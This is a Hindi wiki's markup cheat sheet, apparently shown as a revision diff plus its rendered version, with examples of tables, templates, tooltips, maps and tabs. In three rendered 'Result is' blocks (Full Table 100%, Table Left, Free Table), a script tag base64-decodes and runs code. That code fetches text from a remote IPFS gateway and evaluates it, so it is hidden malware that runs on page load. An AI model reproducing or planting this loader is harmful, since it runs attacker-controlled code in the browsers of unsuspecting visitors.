"lab:Commands" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
 
(२ सदस्यों द्वारा किये गये बीच के २७ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
 
{{tocright}}
 
{{tocright}}
==Page opens in new window==
+
==Extenal Link==
<nowiki>[http://braj.org/home/index.html|target='_blank' मुख्य वेबसाइट]</nowiki><br />
+
<nowiki>[http://bharatdiscovery.org वेबसाइट]</nowiki><br />
 
it will look like below <br />
 
it will look like below <br />
[http://braj.org/home/index.html|target='_blank' मुख्य वेबसाइट]
+
[http://bharatdiscovery.org वेबसाइट]
  
 
==Redirect a page==
 
==Redirect a page==
 
<nowiki>#redirect[[page name]]</nowiki>
 
<nowiki>#redirect[[page name]]</nowiki>
 
==Category linking==
 
==Category linking==
<nowiki>[[category:ब्रज]]</nowiki>
 
<br />
 
 
 
<nowiki>[[:Category:स्वतन्त्रता संग्राम|xyz]]</nowiki>
 
<nowiki>[[:Category:स्वतन्त्रता संग्राम|xyz]]</nowiki>
  
पंक्ति ५७: पंक्ति ५४:
  
 
==Jump to Page Headings==
 
==Jump to Page Headings==
<nowiki>[[Page#Heading]]</nowiki>
+
<nowiki>[[कृष्ण#जन्म और जीवन परिचय]]</nowiki>
  
 
result is:
 
result is:
पंक्ति २०९: पंक्ति २०६:
 
===Result is===
 
===Result is===
 
{{#icon: logo.jpg|Info|20|krishna}} Text
 
{{#icon: logo.jpg|Info|20|krishna}} Text
 +
==Templates==
 +
===Hightlighted Text Right===
 +
<nowiki>{{high right}}</nowiki><br />
 +
<nowiki>Text Text Text Text Text Text Text Text Text Text</nowiki><br />
 +
<nowiki>{{Table close}}</nowiki>
 +
 +
===Result is===
 +
{{high right}}
 +
Text Text Text Text Text Text Text Text Text Text
 +
{{Table close}}
 +
<br /><br /><br /><br /><br /><br />
 +
 +
===Hightlighted Text Left===
 +
<nowiki>{{high left}}</nowiki><br />
 +
<nowiki>Text Text Text Text Text Text Text Text Text Text</nowiki><br />
 +
<nowiki>{{Table close}}</nowiki>
 +
 +
===Result is===
 +
{{high left}}
 +
Text Text Text Text Text Text Text Text Text Text
 +
{{Table close}}
 +
<br /><br /><br /><br /><br /><br />
 +
 +
===Full Table 100%===
 +
<nowiki>{{Table 100}}</nowiki><br />
 +
<nowiki>Text Text Text Text Text Text Text Text Text Text</nowiki><br />
 +
<nowiki>{{Table close}}</nowiki>
 +
 +
===Result is===
 +
{{Table 100}}
 +
Text Text Text Text Text Text Text Text Text Text
 +
{{Table close}}
 +
 +
===Table Left===
 +
<nowiki>{{Table left}}</nowiki><br />
 +
<nowiki>Text Text Text Text Text Text Text Text Text Text</nowiki><br />
 +
<nowiki>{{Table close}}</nowiki> Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text
 +
 +
===Result is===
 +
{{Table left}}
 +
Text Text Text Text Text Text Text Text Text Text
 +
{{Table close}} Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text
 +
<br /><br />
 +
===Free Table===
 +
<nowiki>{{Free table}}</nowiki><br />
 +
<nowiki>Text Text Text Text Text Text Text Text Text Text</nowiki><br />
 +
<nowiki>{{Table close}}</nowiki> Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text
  
 +
===Result is===
 +
{{Free table}}
 +
Text Text Text Text Text Text Text Text Text Text
 +
{{Table close}} Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text
 
==Right Side Text Div or Table==
 
==Right Side Text Div or Table==
 
===Example with Div===
 
===Example with Div===
पंक्ति २१६: पंक्ति २६४:
 
<div id="textboxrt">Text Text Text Text Text Text Text Text Text Text</div><br /><br /><br />
 
<div id="textboxrt">Text Text Text Text Text Text Text Text Text Text</div><br /><br /><br />
 
===Example With Table===
 
===Example With Table===
<nowiki>{| id="textboxrt"
+
 
|Text Text Text Text Text Text Text Text Text Text
+
<nowiki>{| id="textboxrt"</nowiki><br />
|}</nowiki>
+
<nowiki>|Text Text Text Text Text Text Text Text Text Text</nowiki><br />
 +
<nowiki>|}</nowiki><br />
  
 
===Result is===
 
===Result is===
पंक्ति २२४: पंक्ति २७३:
 
|Text Text Text Text Text Text Text Text Text Text
 
|Text Text Text Text Text Text Text Text Text Text
 
|}
 
|}
 +
<br /><br /><br /><br /><br /><br />
  
 +
==Left Side Text Div or Table==
 +
===Example with Div===
 +
<nowiki><div id="textboxlt">Text Text Text Text Text Text Text Text Text Text</div></nowiki>
 +
=== Result is===
 +
<div id="textboxlt">Text Text Text Text Text Text Text Text Text Text</div><br /><br /><br />
 +
===Example With Table===
  
 +
<nowiki>{| id="textboxlt"</nowiki><br />
 +
<nowiki>|Text Text Text Text Text Text Text Text Text Text</nowiki><br />
 +
<nowiki>|}</nowiki><br />
  
 
 
==Right Side Text Div or Table==
 
<nowiki><div id="textboxrt">Text Text Text Text Text Text Text Text Text Text</div></nowiki>
 
 
===Result is===
 
===Result is===
<div id="textboxrt">Text Text Text Text Text Text Text Text Text Text</div><br /><br /><br />
+
{| id="textboxlt"
 +
|Text Text Text Text Text Text Text Text Text Text
 +
|}
  
 
+
<br /><br /><br /><br /><br /><br />
==Right Side Text Div 2==
+
==Right Side Text Broad Div or Table 2==
 +
===Example with Div===
 
<nowiki><div id="brajdis-text-rt">Text Text Text Text Text Text Text Text Text Text</div></nowiki>
 
<nowiki><div id="brajdis-text-rt">Text Text Text Text Text Text Text Text Text Text</div></nowiki>
===Result is===
+
=== Result is===
 
<div id="brajdis-text-rt">Text Text Text Text Text Text Text Text Text Text</div><br /><br /><br />
 
<div id="brajdis-text-rt">Text Text Text Text Text Text Text Text Text Text</div><br /><br /><br />
 +
===Example With Table===
 +
 +
<nowiki>{| id="brajdis-text-rt"</nowiki><br />
 +
<nowiki>|Text Text Text Text Text Text Text Text Text Text</nowiki><br />
 +
<nowiki>|}</nowiki><br />
  
==Left Side Text Div==
 
<nowiki><div id="textboxlt">Text Text Text Text Text Text Text Text Text Text</div></nowiki>
 
 
===Result is===
 
===Result is===
<div id="textboxlt">Text Text Text Text Text Text Text Text Text Text</div><br /><br /><br />
+
{| id="brajdis-text-rt"
 +
|Text Text Text Text Text Text Text Text Text Text
 +
|}
 +
<br /><br /><br /><br /><br /><br />
 +
==Left Side Text Broad Div or Table 2==
 +
===Example with Div===
 +
<nowiki><div id="brajdis-text-lt">Text Text Text Text Text Text Text Text Text Text</div></nowiki>
 +
=== Result is===
 +
<div id="brajdis-text-lt">Text Text Text Text Text Text Text Text Text Text</div><br /><br /><br />
 +
===Example With Table===
 +
 
 +
<nowiki>{| id="brajdis-text-lt"</nowiki><br />
 +
<nowiki>|Text Text Text Text Text Text Text Text Text Text</nowiki><br />
 +
<nowiki>|}</nowiki><br />
  
==Left Side Text Div 2==
 
<nowiki><div id="textboxlt">Text Text Text Text Text Text Text Text Text Text</div></nowiki>
 
 
===Result is===
 
===Result is===
<div id="brajdis-text-lt">Text Text Text Text Text Text Text Text Text Text</div><br /><br /><br />
+
{| id="brajdis-text-lt"
 +
|Text Text Text Text Text Text Text Text Text Text
 +
|}
 +
<br /><br /><br /><br /><br /><br />
 +
==Custom Page Browser Title & Pagename==
 +
<nowiki>{{#customtitle:My Page Name|My Page Browser Title}}</nowiki>
 +
 
 +
==Toc Right==
 +
<nowiki>{{tocright}}</nowiki>
 +
===Example===
 +
[[कृष्ण|Example]]
 +
==Toc left==
 +
<nowiki>{{tocleft}}</nowiki>
  
 +
==Themes==
 +
===Theme Gold===
 +
<nowiki>{{Theme gold}}</nowiki>
 +
===Example===
 +
[[सूक्ति और विचार|Example]]
 
==Tabs==
 
==Tabs==
 
<nowiki>=Tab1=</nowiki><br />
 
<nowiki>=Tab1=</nowiki><br />

१३:१९, २ मई २०१० के समय का अवतरण

Extenal Link

[http://bharatdiscovery.org वेबसाइट]
it will look like below
वेबसाइट

Redirect a page

#redirect[[page name]]

Category linking

[[:Category:स्वतन्त्रता संग्राम|xyz]]

result is:

xyz

Tooltip Balloon Link

<balloon link="index.php?title=Page Name" title="Display Text"> Link </balloon>

result is:

<balloon link="index.php?title=Page Name" title="Display Text"> Link </balloon>

Tooltip Balloon Hover

<balloon title="Display Text"> Link </balloon>

result is:

<balloon title="Display Text"> Link </balloon>

Tooltip Balloon Image

<balloon title="Display Text"> <img src="images/e/e8/Krishn-title.jpg" width="100px" /> </balloon>

result is:

<balloon title="Display Text"> <img src="images/e/e8/Krishn-title.jpg" width="100px" /> </balloon>

Jump to Page Headings

[[कृष्ण#जन्म और जीवन परिचय]]

result is:

कृष्ण

Hindiwriter Commands

Shift+@=.

result is: .

Table Caption

<caption> </caption>

result is:

Caption for table
Orange Apple
Bread Pie
Butter Ice cream

Simple Table

<tab class=brajtable sep=comma head=top>
Head 1,,Head 2,,Head 3
Field 1,,Field 2,,Field 3
Field 4,,Field 5,,Field 6
</tab>

Result is

<tab class=brajtable sep=comma head=top> Head 1,,Head 2,,Head 3 Field 1,,Field 2,,Field 3 Field 4,,Field 5,,Field 6 </tab>

Inputbox

See Inputbox scripts

Sort

<sort>
[[कनिष्क]]
[[अक्षौहिणी]]
[[आर्य]]
</sort>

Result is

<sort> कनिष्क अक्षौहिणी आर्य </sort>

Sort2

<sort2 type="inline" separator="&sp;|&sp;">
[[कनिष्क]]
[[अक्षौहिणी]]
[[आर्य]]
</sort2>

Result is

<sort2 type="inline" separator="&sp;|&sp;"> कनिष्क अक्षौहिणी आर्य </sort2>

Poem

<poem>
One
Two
Three
Four
</poem>

Result is

One
Two
Three
Four

Imagemap

Image map creator website url
In this website just enter the image url & draw the imagemap, then copy & paste the code to our website.

Page Css

<css>
#id name { background-color: black;color:white; }
</css>

Result is

<css>

  1. test { background-color: black;color:white; }

</css>

The Page CSS extension allows CSS styles to be defined on a wiki page. For example, to give a page a yellow background, you could use the following in the wiki text:

CustomSidebar

<sidebar>
* Heading 1
** Item 1|Item 1
** Item 2|Item 2
** Item 3|Item 3
</sidebar>

Slideshow

<slideshow sequence="forward" transition="fade" refresh="4000">
<div>[[Image:Image1.jpg|thumb|right|128px|Caption 1]]</div>
<div>[[Image:Image2.jpg|thumb|right|128px|Caption 2]]</div>
</slideshow>

Result is

<slideshow sequence="forward" transition="fade" refresh="4000">

Caption 1
Caption 2

</slideshow>







Google Map

<googlemap version="0.9" lat="27.507053" lon="77.794189" type="map" zoom="10" width="450" height="300" controls="small">
27.417657, 77.744633, ब्रह्माण्ड घाट
[[चित्र:Brhamand-Ghat-2.jpg|160px]]
</googlemap>

Result is

<googlemap version="0.9" lat="27.507053" lon="77.794189" type="map" zoom="10" width="450" height="300" controls="small"> 27.417657, 77.744633, ब्रह्माण्ड घाट Brhamand-Ghat-2.jpg </googlemap>

Iframe

<websiteFrame>
website=http://hi.brajdiscovery.org/hindi-trans-big.html
width=100%
height="400"
border=0
</websiteFrame>

Result is

Calling Google Transliteration in Ifame <websiteFrame> website=http://hi.brajdiscovery.org/hindi-trans-big.html width=100% height="400" border=0 </websiteFrame>

Icons

{{#icon: logo.jpg|Info|24|krishna}} Text

Result is

{{#icon: logo.jpg|Info|20|krishna}} Text

Templates

Hightlighted Text Right

{{high right}}
Text Text Text Text Text Text Text Text Text Text
{{Table close}}

Result is

Blockquote-open.gif Text Text Text Text Text Text Text Text Text Text Blockquote-close.gif







Hightlighted Text Left

{{high left}}
Text Text Text Text Text Text Text Text Text Text
{{Table close}}

Result is

Blockquote-open.gif Text Text Text Text Text Text Text Text Text Text Blockquote-close.gif







Full Table 100%

{{Table 100}}
Text Text Text Text Text Text Text Text Text Text
{{Table close}}

Result is

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Text Text Text Text Text Text Text Text Text Text Blockquote-close.gif

Table Left

{{Table left}}
Text Text Text Text Text Text Text Text Text Text
{{Table close}} Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text

Result is

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Text Text Text Text Text Text Text Text Text Text Blockquote-close.gif

Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text



Free Table

{{Free table}}
Text Text Text Text Text Text Text Text Text Text
{{Table close}} Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text

Result is

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Text Text Text Text Text Text Text Text Text Text Blockquote-close.gif

Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text Text

Right Side Text Div or Table

Example with Div

<div id="textboxrt">Text Text Text Text Text Text Text Text Text Text</div>

Result is

Text Text Text Text Text Text Text Text Text Text




Example With Table

{| id="textboxrt"
|Text Text Text Text Text Text Text Text Text Text
|}

Result is

Text Text Text Text Text Text Text Text Text Text







Left Side Text Div or Table

Example with Div

<div id="textboxlt">Text Text Text Text Text Text Text Text Text Text</div>

Result is

Text Text Text Text Text Text Text Text Text Text




Example With Table

{| id="textboxlt"
|Text Text Text Text Text Text Text Text Text Text
|}

Result is

Text Text Text Text Text Text Text Text Text Text







Right Side Text Broad Div or Table 2

Example with Div

<div id="brajdis-text-rt">Text Text Text Text Text Text Text Text Text Text</div>

Result is

Text Text Text Text Text Text Text Text Text Text




Example With Table

{| id="brajdis-text-rt"
|Text Text Text Text Text Text Text Text Text Text
|}

Result is

Text Text Text Text Text Text Text Text Text Text







Left Side Text Broad Div or Table 2

Example with Div

<div id="brajdis-text-lt">Text Text Text Text Text Text Text Text Text Text</div>

Result is

Text Text Text Text Text Text Text Text Text Text




Example With Table

{| id="brajdis-text-lt"
|Text Text Text Text Text Text Text Text Text Text
|}

Result is

Text Text Text Text Text Text Text Text Text Text







Custom Page Browser Title & Pagename

{{#customtitle:My Page Name|My Page Browser Title}}

Toc Right

{{tocright}}

Example

Example

Toc left

{{tocleft}}

Themes

Theme Gold

{{Theme gold}}

Example

Example

Tabs

=Tab1=
Content Tab1
=Tab2=
Content Tab2
=Tab3=
Content Tab3
=Tab4=
Content Tab4
<headertabs/>

Result is

Tab1

Content Tab1

Tab2

Content Tab2

Tab3

Content Tab3

Tab4

Content Tab4 <headertabs/>